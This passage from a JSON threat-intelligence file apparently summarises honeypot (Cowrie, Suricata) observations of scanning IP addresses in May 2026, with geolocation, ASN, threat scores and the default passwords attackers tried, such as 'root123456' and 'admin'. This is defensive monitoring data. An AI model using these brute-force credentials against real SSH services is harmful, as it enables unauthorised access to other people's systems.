        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:30:21.113000+00:00",
        "last_seen_30d": "2026-05-11T02:32:11.864000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "190.89.109.116": {
      "attack_count": 28,
      "first_seen": "2026-05-11T16:29:10.968Z",
      "last_seen": "2026-05-11T16:33:54.506Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "\u00c1guas Lindas de Goi\u00e1s",
      "asn": 270372,
      "as_org": "CEUNET TELECOM EIRELI",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:29:10.968000+00:00",
        "last_seen_30d": "2026-05-11T16:44:58.941000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "185.255.100.245": {
      "attack_count": 24,
      "first_seen": "2026-05-03T17:04:05.441Z",
      "last_seen": "2026-05-18T07:14:43.020Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:04:05.441000+00:00",
        "last_seen_30d": "2026-05-18T07:15:48.020000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "172.99.61.198": {
      "attack_count": 20,
      "first_seen": "2026-05-06T09:52:41.709Z",
      "last_seen": "2026-05-26T23:30:59.692Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tampa",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.3,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 422,
        "days_active_30d": 21,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-06T09:52:41.653000+00:00",
        "last_seen_30d": "2026-05-26T23:36:02.732000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 277,
        "Honeytrap": 70,
        "Dionaea": 35,
        "Cowrie": 20,
        "Miniprint": 15,
        "Sentrypeer": 5
      }
    },
    "5.101.64.6": {
      "attack_count": 20,
      "first_seen": "2026-05-02T19:31:37.334Z",
      "last_seen": "2026-05-15T09:12:03.333Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T19:31:37.334000+00:00",
        "last_seen_30d": "2026-05-31T16:05:38.464000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Cowrie": 20,
        "Honeytrap": 13,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "ConPot": 2,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "165.232.175.198": {
      "attack_count": 18,
      "first_seen": "2026-05-08T05:05:38.051Z",
      "last_seen": "2026-05-08T08:43:21.497Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:05:38.051000+00:00",
        "last_seen_30d": "2026-05-08T08:44:30.399000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 18
      }
    },
    "184.154.206.137": {
      "attack_count": 18,
      "first_seen": "2026-05-11T23:14:52.512Z",
      "last_seen": "2026-05-27T07:54:45.307Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:14:52.512000+00:00",
        "last_seen_30d": "2026-05-27T07:55:45.898000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "139.162.4.102": {
      "attack_count": 12,
      "first_seen": "2026-05-08T06:58:21.883Z",
      "last_seen": "2026-05-09T02:28:53.431Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:58:21.883000+00:00",
        "last_seen_30d": "2026-05-09T02:29:57.579000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "192.30.242.9": {
      "attack_count": 12,
      "first_seen": "2026-05-03T00:30:23.059Z",
      "last_seen": "2026-05-08T04:47:42.938Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396073,
      "as_org": "Majestic Hosting Solutions, LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:30:23.059000+00:00",
        "last_seen_30d": "2026-05-08T04:48:47.012000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "94.196.24.121": {
      "attack_count": 12,
      "first_seen": "2026-05-21T07:37:23.890Z",
      "last_seen": "2026-05-21T18:52:34.804Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Carshalton",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:37:23.890000+00:00",
        "last_seen_30d": "2026-05-21T18:53:42.887000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "112.102.221.1": {
      "attack_count": 10,
      "first_seen": "2026-05-20T09:21:35.511Z",
      "last_seen": "2026-05-20T10:15:54.777Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T09:21:35.511000+00:00",
        "last_seen_30d": "2026-05-20T10:16:57.242000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.34.138.170": {
      "attack_count": 10,
      "first_seen": "2026-05-17T03:16:35.539Z",
      "last_seen": "2026-05-17T03:16:42.176Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:16:35.539000+00:00",
        "last_seen_30d": "2026-05-17T03:17:45.995000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "139.28.49.204": {
      "attack_count": 8,
      "first_seen": "2026-05-21T09:18:19.119Z",
      "last_seen": "2026-05-21T09:26:24.147Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:18:19.119000+00:00",
        "last_seen_30d": "2026-05-21T09:27:27.010000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "35.187.35.41": {
      "attack_count": 8,
      "first_seen": "2026-05-12T06:48:38.907Z",
      "last_seen": "2026-05-12T06:48:52.635Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:48:38.907000+00:00",
        "last_seen_30d": "2026-05-12T06:49:55.418000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "138.99.79.29": {
      "attack_count": 6,
      "first_seen": "2026-05-31T19:50:23.098Z",
      "last_seen": "2026-05-31T19:51:33.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "Master123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Flores da Cunha",
      "asn": 264157,
      "as_org": "GUAREZE FIBRA LTDA",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T15:33:40.477000+00:00",
        "last_seen_30d": "2026-05-31T19:52:40.025000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "147.182.145.192": {
      "attack_count": 6,
      "first_seen": "2026-05-08T19:29:19.298Z",
      "last_seen": "2026-05-26T00:22:03.188Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 75.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.8,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 380,
        "days_active_30d": 24,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-03T12:40:14+00:00",
        "last_seen_30d": "2026-05-26T00:23:14.493000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 312,
        "Honeytrap": 53,
        "Cowrie": 6,
        "Adbhoney": 2,
        "Ciscoasa": 2,
        "Dionaea": 2,
        "H0neytr4p": 2,
        "CitrixHoneypot": 1
      }
    },
    "177.8.70.167": {
      "attack_count": 6,
      "first_seen": "2026-05-12T20:37:14.383Z",
      "last_seen": "2026-05-12T20:43:16.279Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 273813,
      "as_org": "SUA FIBRA TELECOMUNICACOES LTDA",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:37:14.383000+00:00",
        "last_seen_30d": "2026-05-12T20:44:21.196000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.225.17.131": {
      "attack_count": 6,
      "first_seen": "2026-05-31T00:58:42.573Z",
      "last_seen": "2026-05-31T00:58:49.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Ia\u0219i",
      "asn": 39798,
      "as_org": "MivoCloud SRL",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:58:42.573000+00:00",
        "last_seen_30d": "2026-05-31T00:59:58.577000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "51.186.219.187": {
      "attack_count": 6,
      "first_seen": "2026-05-03T09:28:22.097Z",
      "last_seen": "2026-05-03T09:28:37.080Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": null,
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:28:22.097000+00:00",
        "last_seen_30d": "2026-05-03T09:38:44.871000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "66.132.195.126": {
      "attack_count": 6,
      "first_seen": "2026-05-09T15:33:47.797Z",
      "last_seen": "2026-05-09T15:34:22.532Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 27,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-05T00:25:01.268000+00:00",
        "last_seen_30d": "2026-05-31T09:17:50.943000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "ElasticPot": 13,
        "Cowrie": 6,
        "Miniprint": 6,
        "Dionaea": 5,
        "Honeytrap": 5,
        "ConPot": 1
      }
    },
    "176.65.139.130": {
      "attack_count": 5,
      "first_seen": "2026-05-31T18:26:21.111Z",
      "last_seen": "2026-05-31T18:26:23.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:13:43.813000+00:00",
        "last_seen_30d": "2026-05-31T18:27:25.174000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "219.78.63.235": {
      "attack_count": 5,
      "first_seen": "2026-05-05T08:41:20.166Z",
      "last_seen": "2026-05-27T03:38:58.201Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Ho Man Tin",
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:41:20.166000+00:00",
        "last_seen_30d": "2026-05-27T03:40:06.856000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 5
      }
    },
    "109.167.249.94": {
      "attack_count": 4,
      "first_seen": "2026-05-25T12:04:32.133Z",
      "last_seen": "2026-05-29T20:23:14.554Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 41733,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T12:04:32.133000+00:00",
        "last_seen_30d": "2026-05-29T20:33:19.541000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "120.28.161.60": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:38:00.399Z",
      "last_seen": "2026-05-19T06:41:13.345Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Juan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:38:00.399000+00:00",
        "last_seen_30d": "2026-05-19T06:42:21.479000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "123.179.231.193": {
      "attack_count": 4,
      "first_seen": "2026-05-23T03:43:30.373Z",
      "last_seen": "2026-05-23T03:45:16.870Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:43:30.373000+00:00",
        "last_seen_30d": "2026-05-23T03:46:17.401000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "148.66.105.48": {
      "attack_count": 4,
      "first_seen": "2026-05-19T00:22:00.526Z",
      "last_seen": "2026-05-19T00:24:02.510Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "French Polynesia",
      "country_code": "PF",
      "city": "Papeete",
      "asn": 9471,
      "as_org": "ONATI",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:22:00.526000+00:00",
        "last_seen_30d": "2026-05-19T00:25:03.029000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.153": {
      "attack_count": 4,
      "first_seen": "2026-05-07T04:24:24.940Z",
      "last_seen": "2026-05-07T04:24:28.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 17.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 21,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T01:49:59.655000+00:00",
        "last_seen_30d": "2026-05-22T02:43:06.199000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "201.238.2.52": {
      "attack_count": 4,
      "first_seen": "2026-05-22T10:43:11.867Z",
      "last_seen": "2026-05-22T10:58:42.876Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
